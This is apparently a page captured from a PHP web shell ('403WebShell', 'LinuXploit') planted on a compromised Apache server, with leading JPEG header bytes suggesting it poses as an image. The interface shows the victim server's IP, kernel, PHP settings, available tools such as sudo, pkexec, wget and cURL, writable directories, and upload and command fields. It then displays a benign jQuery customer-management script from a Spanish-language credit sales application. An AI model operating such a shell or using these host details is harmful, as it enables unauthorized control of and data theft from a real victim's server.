����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 18.116.67.226
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/mueblesOLDMAYO/applicationOLD/customer2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/mueblesOLDMAYO/applicationOLD/customer2/j_customer.js
			

	
$(document).ready(function(){
	

	
	$( "#txtclientB" ).autocomplete({
		search  : function(){$(this).addClass('working');},
		open    : function(){$(this).removeClass('working');},
		source: function(request, response) {
			$.getJSON("autocomplete_client.php", { term: $('#txtclientB').val() }, 
				response); },
			minLength:1,
			select:function(event, ui){
					
					
					$("#txtclientA").val(ui.item.id_client);
					
					$("#modal-customer_job").modal("show");	
					
			}
		}).autocomplete( "instance" )._renderItem = function( ul, item ) {
		return $( "<li>" )
		.append( "<dl><dt>"+item.id + "</dt>"+item.name+ "</dl>"   )
		.appendTo( ul );
	};
	
	
		//iniciar tabla de job
		init_dataJob();
		init_dataColl();
		init_dataAvals();
		
				$('#txtpaydate').datepicker({
					format: 'dd-mm-yyyy',
				});

			// function to repair keyboard tab in modal dialog adminlte
			(function (){
				var close = window.swal.close;
				var previousWindowKeyDown = window.onkeydown;
				window.swal.close = function() {
					close();
					window.onkeydown = previousWindowKeyDown;
				};
			})();


			$("#btn-job").click(function(){
				//modal-customer
				$("#modal-customer_job").modal("show");
				
				
				
				set_focus("#txtclientA");
			});
			
			$("#btn-cob").click(function(){
				//modal-customer
				$("#modal-customer_job").modal("show");
				
				
				set_focus("#txtclientA");
				
			});
		
			
			$("#btn-add").click(function(){
				//modal-customer
				$("#modal-customer").modal("show");
				$("#myModalLabel").html("Nuevo Cliente");
				
				$("#btnAbrirAdi").prop('disabled', true);
				$("#crud").val("N");
				
				set_focus("#txtcontract");
			});
			
			//btnAbrirAdi
			$("#btnAbrirAdi").click(function(){
				//modal-customer_job
				$("#modal-customer_job").modal("show");
				$("#crudA").val("N");
			});
			
		
		$(document).on("click",".btn-hapus",function(){
			let current_row = $(this).parents('tr'); 
			if (current_row.hasClass('child')) { 
				current_row = current_row.prev(); 
			}
			let table = $('#table-customer2').DataTable(); 
			let data = table.row( current_row).data();
			let idcust = data.id_cust;
			swal({
				title: "Borrar",
				text: "Eliminar permanentemente, esta seguro ?",
				type: "warning",
				showCancelButton: true,
				confirmButtonClass: "btn-danger",
				confirmButtonText: "Borrar",
				closeOnConfirm: false,
				showLoaderOnConfirm: true
			},
			function(){

				let ajax = {
					method : "delete_customer",
					id_cust : idcust,
				}
				$.ajax({
					url:"customer.php",
					type: "POST",
					data: ajax,
					success: function(data, textStatus, jqXHR)
					{
						$resp = JSON.parse(data);
						if($resp['status'] == true){
							swal("Correctamento eliminado");
							let xtable = $('#table-customer2').DataTable(); 
							xtable.ajax.reload( null, false );
						}else{
							swal("Error al borrar cliente  : "+$resp['message'])
						}
						
					},
					error: function (request, textStatus, errorThrown) {
						swal("Error ", request.responseJSON.message, "error");
					}
				});
			});
		});
			
		
			
			
});



function init_dataJob(){

	var value = {
		method : "getdata"
	};
	$('#table-employed').DataTable({
		"paging": false,
		"lengthChange": false,
		"searching": false,
		"ordering": false,
		"info": false,
		"responsive": true,
		"autoWidth": true,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"columnDefs": [
		{ className: "textright", "targets": [ 3,4,5,6 ] }
		],
		"ajax": {
			"url": "customer.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "id_cust" },
		{ "data": "cliente" },
		{ "data": "workplace" },
		{ "data": "labor_Old" },
		{ "data": "salary" },
		{ "data": "payment_periodicity" },
		{ "data": "endorsements" },
		{ "data": "created_at" },
		{ "data": "button" },
		]
	});
	
}
//tabla de conbranza
function init_dataColl(){

	var value = {
		method : "getdataC"
	};
	$('#table-collection').DataTable({
		"paging": false,
		"lengthChange": false,
		"searching": false,
		"ordering": false,
		"info": false,
		"responsive": true,
		"autoWidth": true,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"columnDefs": [
		{ className: "textright", "targets": [ 3,4,5,6 ] }
		],
		"ajax": {
			"url": "customer.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "id_cust" },
		{ "data": "cliente" },
		{ "data": "dias" },
		{ "data": "periodo" },
		{ "data": "min_pay" },
		{ "data": "created_at" },
		{ "data": "button" },
		]
	});
	
}




//tabla de conbranza
function init_dataAvals(){

	var value = {
		method : "list_customer"
	};
	$('#table-customer').DataTable({
		"paging": false,
		"lengthChange": false,
		"searching": false,
		"ordering": false,
		"info": false,
		"responsive": true,
		"autoWidth": true,
		"pageLength": 50,
		"dom": '<"top"f>rtip',
		"columnDefs": [
		{ className: "textright", "targets": [ 3,4,5,6 ] }
		],
		"ajax": {
			"url": "customer.php",
			"type": "POST",
			"data":value,
		},
		"columns": [
		{ "data": "id_cust" },
		{ "data": "contract" },
		{ "data": "name" },
		{ "data": "conyugue" },
		{ "data": "direccion" },
		{ "data": "credito" },
		{ "data": "poblacion" },
		{ "data": "phone" },
		]
	});
	
}
		
	
		
		



$(document).on( "click","#btnsaveitem", function() {
	
	var contrato = $("#txtcontract").val();
	var nombre = $("#txtnombre").val();
	var conyugue = $("#txtconyugue").val();
	var direccion = $("#txtdireccion").val();
	var come = $("#txtcome_in").val();
	var telefono = $("#txttelefono").val();
	var credito = $("#cbocredito").val();
	var poblacion = $("#txtpoblacion").val();
	var id_seller = $("#id_seller_ok").val();
	var crud=$("#crud").val();
	
if(crud == 'E'){
		if(contrato == '' || contrato== null ){
			$.notify({
				message: "No se Puede Editar el contrato"
			},{
				type: 'warning',
				delay: 8000,
			});		
			$("#txtnombre").focus();
			
		}else{
				$("#txtcontract").disabled=true;
				swal({
						title: "Editar",
						text: "Desea Editar ?",
						type: "warning",
						showCancelButton: true,
						confirmButtonClass: "btn-primary",
						confirmButtonText: "Actualizar",
						closeOnConfirm: true,
						showLoaderOnConfirm: true
					},
					function(){
						edit_customer($("#txtcontract").val(),$("#txtnombre").val(),$("#txtconyugue").val(),$("#txtdireccion").val(),$("#txtcome_in").val(),$("#txttelefono").val(), $("#cbocredito").val(), $("#txtpoblacion").val());

				});
		}		
		
	}else{
		
		$("#txtcontract").disabled=false;
		if(nombre == '' || nombre== null ){
		$.notify({
			message: "por favor ingrese nombre"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtnombre").focus();
		return;
	}
	
	if(direccion == '' || direccion== null ){
		$.notify({
			message: "por favor ingrese direccion"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtdireccion").focus();
		return;
	}
	
	if(telefono == '' || telefono== null ){
		$.notify({
			message: "por favor ingrese telefono"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txttelefono").focus();
		return;
	}
	
	//var id_seller = $("#id_seller_ok").val();
	
	if(id_seller == '' || id_seller== null ){
		$.notify({
			message: "Seleccione Vendedor"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtvendedor").focus();
		return;
	}
	
	
		
	var value = {
				contrato: contrato,
				nombre: nombre,
				conyugue: conyugue,
				direccion:direccion,
				come:come,
				telefono:telefono,
				credito:credito,
				poblacion:poblacion,
				crud:crud,
				method : "saveClient"
			};
			$(this).prop('disabled', true);
			proccess_waiting("#infoproses");
			$.ajax(
			{
				url : "customer.php",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					
					//modal-customer_job
					$("#modal-customer_job").modal("show");
						
					$.notify('Registro de cliente Guardado!');
					//btnAbrirAdi
					$("#btnAbrirAdi").prop('disabled', false);
					$("#btnsaveitem").prop('disabled', true);
					$("#infoproses").html("");
					var data = jQuery.parseJSON(data);
					
					
					
					
				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					$.notify({
						message: "Error Inesperado!! Reporte a Sistemas"
					},{
						type: 'danger',
						delay: 8000,
					});	
					$("#btnsaveitem").prop('disabled', false);
				}
			});
	
		
	}
	

});






$(document).on( "click","#saveCobranza", function() {
	
	var id_client = $("#txtclientA").val();
	var workplace = $("#txtworkplace").val();	
	var laborOld = $("#txtlaborOld").val();
	var salary = $("#txtsalary").val();
	var avales = $("#txtnote").val();
	var payment_periodicity = $("#txtpayment_periodicity").val();
					
	
	
	if(workplace == '' || workplace== null ){
		$.notify({
			message: "por favor ingrese EMPLEO"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtworkplace").focus();
		return;
	}
	
	if(laborOld == '' || laborOld == null ){
		$.notify({
			message: "por favor ingrese ANTIGUEDAD"
		},{
			type: 'warning',
			delay: 8000,
		});		
		$("#txtlaborOld").focus();
		return;
	}
	var value = {
			id_client : id_client,
			workplace : workplace,
			laborOld : laborOld,
			salary : salary,
			avales : avales,
			payment_periodicity:payment_periodicity,
				method : "saveadicionales"
			};
			$(this).prop('disabled', true);
			proccess_waiting("#infoproses");
			$.ajax(
			{
				url : "customer.php",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					
					$.notify({
						message: "Se Registraron datos de Empleo! "
					},{
						type: 'warning',
						delay: 5000,
					});	
					
					let xtable = $('#table-employed').DataTable(); 
						xtable.ajax.reload( null, false );
					
					
					
				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					$.notify({
						message: "Error: "  + data.error
					},{
						type: 'danger',
						delay: 8000,
					});	
					$("#saveCobranza").prop('disabled', false);
				}
			});
	
	
	
});



$(document).on( "click","#saveCobranza2", function() {
	
	var id_client = $("#txtclientA").val();
	var payday = $("#txtpayday").val();
	var payment_period = $("#txtpayment_period").val();
	var min_pay = $("#txtmin_pay").val();
	
	
	var value = {
			id_client : id_client,
			payday : payday,
			payment_period : payment_period,
			min_pay : min_pay,
				method : "saveadicionales2"
			};
			$(this).prop('disabled', true);
			proccess_waiting("#infoproses");
			
			
			$.ajax(
			{
				url : "customer.php",
				type: "POST",
				data : value,
				success: function(data, textStatus, jqXHR)
				{
					
					$.notify({
						message: "Se Registraron datos de Cobranza! " 
					},{
						type: 'warning',
						delay:1000,
					});	
					$.notify({
						message: "Espere se Abrira Captura de articulos....! "
					},{
						type: 'warning',
						delay: 3000,
					});	
					
					var data = jQuery.parseJSON(data);
					
					var cliente = data.id_client;
					setTimeout( function() { 
					
					window.location.href = "../salesCredit/v_pos.php?id_client=" + cliente;

					}, 5000 );
					
				},
				error: function(jqXHR, textStatus, errorThrown)
				{
					$.notify({
						message: "Error: "  + data.error
					},{
						type: 'danger',
						delay: 8000,
					});	
					$("#saveCobranza2").prop('disabled', false);
				}
			});
	
	
	
});



$(document).ready(function(){
   $("#selector-seller").load('../model/select_employee.php');
});


$(document).ready(function(){
   $("#cliente_ultimo").load('../model/cliente_ultimo.php');
});


$(document).on("blur","#selector-seller",function (){
	var valor =  document.getElementById('selector-seller').value ;
	document.getElementById('id_seller').innerHTML = valor;
	document.getElementById('id_seller_ok').value = valor;
});

//	edit_customer($("#txtcontract").val(),$("#txtnombre").val(),$("#txtconyugue").val(),$("#txtdireccion").val(),$("#txtcome_in").val(),$("#txttelefono").val(), $("#cbocredito").val(), $("#txtpoblacion").val());
function edit_customer(cont,nom,con,dire,come,tel,cred,pob){
			let ajax = {
				method: "edit_customer",
				contract : cont,
				nombre:nom,
				conyugue:con,
				direccion:dire,
				come_in:come,
				telefono:tel,
				credito:cred,
				poblacion:pob
			}
			$.ajax({
				url:  "customer.php",
				type: "POST",
				data: ajax,
				success: function(data, textStatus, jqXHR)
				{
					
						$("#modal-customer").modal("hide");
						swal("Se Actualizo Registro! ");
						
						let xtable = $('#table-customer2').DataTable(); 
						xtable.ajax.reload( null, false );
					
				},
				error: function (request, textStatus, errorThrown) {
					swal("Error ", request.responseJSON.message, "error");

				}
			});
		}

Youez - 2016 - github.com/yon3zu
LinuXploit